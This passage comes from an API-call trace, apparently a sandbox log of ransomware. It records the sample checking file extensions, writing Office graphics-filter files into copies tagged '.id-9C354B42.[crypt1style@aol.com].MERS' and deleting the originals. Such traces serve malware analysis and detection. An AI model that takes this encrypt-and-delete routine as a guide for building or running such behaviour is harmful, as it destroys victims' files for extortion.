lpString2=".FLT") returned -1 [0050.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0050.968] lstrlenW (lpString=".1cd") returned 4 [0050.968] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0050.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0050.968] lstrlenW (lpString=".jpg") returned 4 [0050.968] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0050.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0050.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0050.968] lstrlenW (lpString=".doc") returned 4 [0050.968] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0050.968] lstrlenW (lpString=".docx") returned 5 [0050.968] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0050.968] lstrlenW (lpString=".pdf") returned 4 [0050.968] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0050.968] lstrlenW (lpString=".xls") returned 4 [0050.968] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0050.968] lstrlenW (lpString=".xlsx") returned 5 [0050.968] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0050.968] lstrlenW (lpString=".ppt") returned 4 [0050.968] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0050.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0050.968] lstrlenW (lpString=".zip") returned 4 [0050.968] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0050.968] lstrlenW (lpString=".rar") returned 4 [0050.968] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0050.968] lstrlenW (lpString=".bz2") returned 4 [0050.968] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0050.968] lstrlenW (lpString=".7z") returned 3 [0050.968] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0050.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0050.968] lstrlenW (lpString=".dbf") returned 4 [0050.968] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0050.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0050.968] lstrlenW (lpString=".1cd") returned 4 [0050.969] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0050.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0050.969] lstrlenW (lpString=".jpg") returned 4 [0050.969] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0050.969] lstrcmpiW (lpString1=".FNT", lpString2=".MERS") returned -1 [0050.969] lstrlenW (lpString="CGMIMP32.FNT") returned 12 [0050.969] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0050.971] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=606062) returned 1 [0050.971] CloseHandle (hObject=0x1e4) returned 1 [0050.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt")) returned 0x20 [0050.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0050.971] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0050.972] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.972] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.972] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0050.972] GetLastError () returned 0x0 [0050.972] ReadFile (in: hFile=0x1e4, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0x93f6e, lpOverlapped=0x0) returned 1 [0051.024] WriteFile (in: hFile=0x1d4, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x93f70, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x93f70, lpOverlapped=0x0) returned 1 [0051.037] ReadFile (in: hFile=0x1e4, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.037] WriteFile (in: hFile=0x1d4, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.037] SetEndOfFile (hFile=0x1d4) returned 1 [0051.038] CloseHandle (hObject=0x1d4) returned 1 [0051.038] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.038] SetEndOfFile (hFile=0x1e4) returned 1 [0051.043] CloseHandle (hObject=0x1e4) returned 1 [0051.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0051.044] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt")) returned 1 [0051.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0051.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0051.044] lstrlenW (lpString=".doc") returned 4 [0051.044] lstrcmpiW (lpString1=".doc", lpString2=".FNT") returned -1 [0051.044] lstrlenW (lpString=".docx") returned 5 [0051.044] lstrcmpiW (lpString1=".docx", lpString2="2.FNT") returned -1 [0051.044] lstrlenW (lpString=".pdf") returned 4 [0051.044] lstrcmpiW (lpString1=".pdf", lpString2=".FNT") returned 1 [0051.044] lstrlenW (lpString=".xls") returned 4 [0051.044] lstrcmpiW (lpString1=".xls", lpString2=".FNT") returned 1 [0051.044] lstrlenW (lpString=".xlsx") returned 5 [0051.044] lstrcmpiW (lpString1=".xlsx", lpString2="2.FNT") returned -1 [0051.044] lstrlenW (lpString=".ppt") returned 4 [0051.044] lstrcmpiW (lpString1=".ppt", lpString2=".FNT") returned 1 [0051.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0051.045] lstrlenW (lpString=".zip") returned 4 [0051.045] lstrcmpiW (lpString1=".zip", lpString2=".FNT") returned 1 [0051.045] lstrlenW (lpString=".rar") returned 4 [0051.045] lstrcmpiW (lpString1=".rar", lpString2=".FNT") returned 1 [0051.045] lstrlenW (lpString=".bz2") returned 4 [0051.045] lstrcmpiW (lpString1=".bz2", lpString2=".FNT") returned -1 [0051.045] lstrlenW (lpString=".7z") returned 3 [0051.045] lstrcmpiW (lpString1=".7z", lpString2="FNT") returned -1 [0051.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0051.045] lstrlenW (lpString=".dbf") returned 4 [0051.045] lstrcmpiW (lpString1=".dbf", lpString2=".FNT") returned -1 [0051.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0051.045] lstrlenW (lpString=".1cd") returned 4 [0051.045] lstrcmpiW (lpString1=".1cd", lpString2=".FNT") returned -1 [0051.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0051.045] lstrlenW (lpString=".jpg") returned 4 [0051.045] lstrcmpiW (lpString1=".jpg", lpString2=".FNT") returned 1 [0051.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0051.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0051.045] lstrlenW (lpString=".doc") returned 4 [0051.045] lstrcmpiW (lpString1=".doc", lpString2=".FNT") returned -1 [0051.045] lstrlenW (lpString=".docx") returned 5 [0051.045] lstrcmpiW (lpString1=".docx", lpString2="2.FNT") returned -1 [0051.046] lstrlenW (lpString=".pdf") returned 4 [0051.046] lstrcmpiW (lpString1=".pdf", lpString2=".FNT") returned 1 [0051.046] lstrlenW (lpString=".xls") returned 4 [0051.046] lstrcmpiW (lpString1=".xls", lpString2=".FNT") returned 1 [0051.046] lstrlenW (lpString=".xlsx") returned 5 [0051.046] lstrcmpiW (lpString1=".xlsx", lpString2="2.FNT") returned -1 [0051.046] lstrlenW (lpString=".ppt") returned 4 [0051.046] lstrcmpiW (lpString1=".ppt", lpString2=".FNT") returned 1 [0051.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0051.046] lstrlenW (lpString=".zip") returned 4 [0051.046] lstrcmpiW (lpString1=".zip", lpString2=".FNT") returned 1 [0051.046] lstrlenW (lpString=".rar") returned 4 [0051.046] lstrcmpiW (lpString1=".rar", lpString2=".FNT") returned 1 [0051.046] lstrlenW (lpString=".bz2") returned 4 [0051.046] lstrcmpiW (lpString1=".bz2", lpString2=".FNT") returned -1 [0051.046] lstrlenW (lpString=".7z") returned 3 [0051.046] lstrcmpiW (lpString1=".7z", lpString2="FNT") returned -1 [0051.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0051.046] lstrlenW (lpString=".dbf") returned 4 [0051.046] lstrcmpiW (lpString1=".dbf", lpString2=".FNT") returned -1 [0051.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0051.046] lstrlenW (lpString=".1cd") returned 4 [0051.046] lstrcmpiW (lpString1=".1cd", lpString2=".FNT") returned -1 [0051.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0051.046] lstrlenW (lpString=".jpg") returned 4 [0051.046] lstrcmpiW (lpString1=".jpg", lpString2=".FNT") returned 1 [0051.046] lstrcmpiW (lpString1=".FLT", lpString2=".MERS") returned -1 [0051.046] lstrlenW (lpString="GIFIMP32.FLT") returned 12 [0051.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0051.049] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=320384) returned 1 [0051.049] CloseHandle (hObject=0x1e4) returned 1 [0051.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt")) returned 0x20 [0051.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0051.049] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0051.049] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.049] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.049] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0051.049] GetLastError () returned 0x0 [0051.049] ReadFile (in: hFile=0x1e4, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0x4e380, lpOverlapped=0x0) returned 1 [0051.202] WriteFile (in: hFile=0x1d4, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x4e390, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x4e390, lpOverlapped=0x0) returned 1 [0051.207] ReadFile (in: hFile=0x1e4, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.207] WriteFile (in: hFile=0x1d4, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.208] SetEndOfFile (hFile=0x1d4) returned 1 [0051.312] CloseHandle (hObject=0x1d4) returned 1 [0051.312] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.312] SetEndOfFile (hFile=0x1e4) returned 1 [0051.315] CloseHandle (hObject=0x1e4) returned 1 [0051.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0051.315] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt")) returned 1 [0051.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0051.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0051.516] lstrlenW (lpString=".doc") returned 4 [0051.516] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0051.516] lstrlenW (lpString=".docx") returned 5 [0051.516] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0051.517] lstrlenW (lpString=".pdf") returned 4 [0051.517] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0051.517] lstrlenW (lpString=".xls") returned 4 [0051.517] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0051.517] lstrlenW (lpString=".xlsx") returned 5 [0051.517] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0051.517] lstrlenW (lpString=".ppt") returned 4 [0051.517] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0051.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0051.517] lstrlenW (lpString=".zip") returned 4 [0051.517] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0051.517] lstrlenW (lpString=".rar") returned 4 [0051.517] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0051.517] lstrlenW (lpString=".bz2") returned 4 [0051.517] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0051.517] lstrlenW (lpString=".7z") returned 3 [0051.517] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0051.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0051.517] lstrlenW (lpString=".dbf") returned 4 [0051.517] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0051.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0051.517] lstrlenW (lpString=".1cd") returned 4 [0051.517] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0051.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0051.517] lstrlenW (lpString=".jpg") returned 4 [0051.517] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0051.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0051.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0051.517] lstrlenW (lpString=".doc") returned 4 [0051.517] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0051.517] lstrlenW (lpString=".docx") returned 5 [0051.517] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0051.517] lstrlenW (lpString=".pdf") returned 4 [0051.517] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0051.517] lstrlenW (lpString=".xls") returned 4 [0051.517] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0051.517] lstrlenW (lpString=".xlsx") returned 5 [0051.517] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0051.518] lstrlenW (lpString=".ppt") returned 4 [0051.518] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0051.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0051.518] lstrlenW (lpString=".zip") returned 4 [0051.518] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0051.518] lstrlenW (lpString=".rar") returned 4 [0051.518] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0051.518] lstrlenW (lpString=".bz2") returned 4 [0051.518] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0051.518] lstrlenW (lpString=".7z") returned 3 [0051.518] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0051.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0051.518] lstrlenW (lpString=".dbf") returned 4 [0051.518] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0051.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0051.518] lstrlenW (lpString=".1cd") returned 4 [0051.518] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0051.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT") returned 67 [0051.518] lstrlenW (lpString=".jpg") returned 4 [0051.518] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0051.518] lstrcmpiW (lpString1=".FLT", lpString2=".MERS") returned -1 [0051.518] lstrlenW (lpString="PICTIM32.FLT") returned 12 [0051.518] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0052.008] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=73080) returned 1 [0052.008] CloseHandle (hObject=0x1ec) returned 1 [0052.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt")) returned 0x20 [0052.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0052.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0052.008] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.008] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0052.009] GetLastError () returned 0x0 [0052.009] ReadFile (in: hFile=0x1ec, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0x11d78, lpOverlapped=0x0) returned 1 [0052.043] WriteFile (in: hFile=0x1e8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x11d80, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x11d80, lpOverlapped=0x0) returned 1 [0052.044] ReadFile (in: hFile=0x1ec, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.045] WriteFile (in: hFile=0x1e8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.045] SetEndOfFile (hFile=0x1e8) returned 1 [0052.361] CloseHandle (hObject=0x1e8) returned 1 [0052.361] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.361] SetEndOfFile (hFile=0x1ec) returned 1 [0052.362] CloseHandle (hObject=0x1ec) returned 1 [0052.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0052.362] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt")) returned 1 [0052.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0052.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0052.363] lstrlenW (lpString=".doc") returned 4 [0052.363] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0052.363] lstrlenW (lpString=".docx") returned 5 [0052.363] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0052.363] lstrlenW (lpString=".pdf") returned 4 [0052.363] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0052.363] lstrlenW (lpString=".xls") returned 4 [0052.363] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0052.363] lstrlenW (lpString=".xlsx") returned 5 [0052.363] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0052.363] lstrlenW (lpString=".ppt") returned 4 [0052.363] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0052.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0052.363] lstrlenW (lpString=".zip") returned 4 [0052.363] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0052.363] lstrlenW (lpString=".rar") returned 4 [0052.363] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0052.363] lstrlenW (lpString=".bz2") returned 4 [0052.363] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0052.363] lstrlenW (lpString=".7z") returned 3 [0052.363] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0052.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0052.363] lstrlenW (lpString=".dbf") returned 4 [0052.363] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0052.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0052.363] lstrlenW (lpString=".1cd") returned 4 [0052.363] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0052.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 